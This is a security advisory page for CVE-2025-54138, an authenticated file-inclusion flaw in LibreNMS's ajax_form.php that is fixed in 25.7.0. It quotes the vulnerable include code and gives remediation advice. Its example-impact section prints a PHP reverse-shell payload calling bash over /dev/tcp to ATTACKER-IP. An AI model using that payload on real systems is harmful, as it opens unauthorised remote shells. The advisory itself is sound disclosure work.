CVE-2025-54138: LibreNMS has Authenticated Local File Inclusion in ajax_form.php that Allows RCE

Published Jul 21, 2025
·
Updated

LibreNMS 25.6.0 contains an architectural vulnerability in the ajaxform.php endpoint that permits Remote File Inclusion based on user-controlled POST input.

The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting:

php if (fileexists('includes/html/forms/' . $POST['type'] . '.inc.php')) { includeonce 'includes/html/forms/' . $POST['type'] . '.inc.php'; } This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.

> This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.

Conditions for Exploitation

- Attacker must be authenticated - Attacker must control a file at includes/html/forms/{type}.inc.php (or symlink)

Example Impact (RCE)

If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the librenms user context:

php <?php system('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"'); ?> https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812

---

Recommended Fix

- Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames. - Avoid passing raw POST input into includeonce. - Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).

Other sources

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring which includes support for a wide range of network hardware and operating systems. LibreNMS versions 25.6.0 and below contain an architectural vulnerability in the ajaxform.php endpoint that permits Remote File Inclusion based on user-controlled POST input. The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting. This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities. This is fixed in version 25.7.0.

MITRE

Affected Software

2 affected componentsFixes available
composer/librenms/librenms<25.7.0
25.7.0
librenms librenms<25.7.0

Event History

Jul 21, 2025
Advisory Published
via GitHub·09:10 PM
Data Sourced
via GitHub·09:10 PM
DescriptionSeverityWeaknessAffected Software
Jul 22, 2025
CVE Published
via MITRE·09:33 PM
Data Sourced
via MITRE·09:33 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:15 PM
RemedyAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-54138?

CVE-2025-54138 has a critical severity rating due to its potential for Local File Inclusion exploitation.

2

How do I fix CVE-2025-54138?

To fix CVE-2025-54138, you should upgrade LibreNMS to version 25.7.0 or later.

3

What exploit does CVE-2025-54138 enable?

CVE-2025-54138 enables attackers to execute Local File Inclusion attacks via user-controlled POST input.

4

Which versions of LibreNMS are affected by CVE-2025-54138?

CVE-2025-54138 affects LibreNMS versions prior to 25.7.0.

5

Where can I learn more about CVE-2025-54138?

For more details about CVE-2025-54138, refer to the security advisories provided by LibreNMS.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203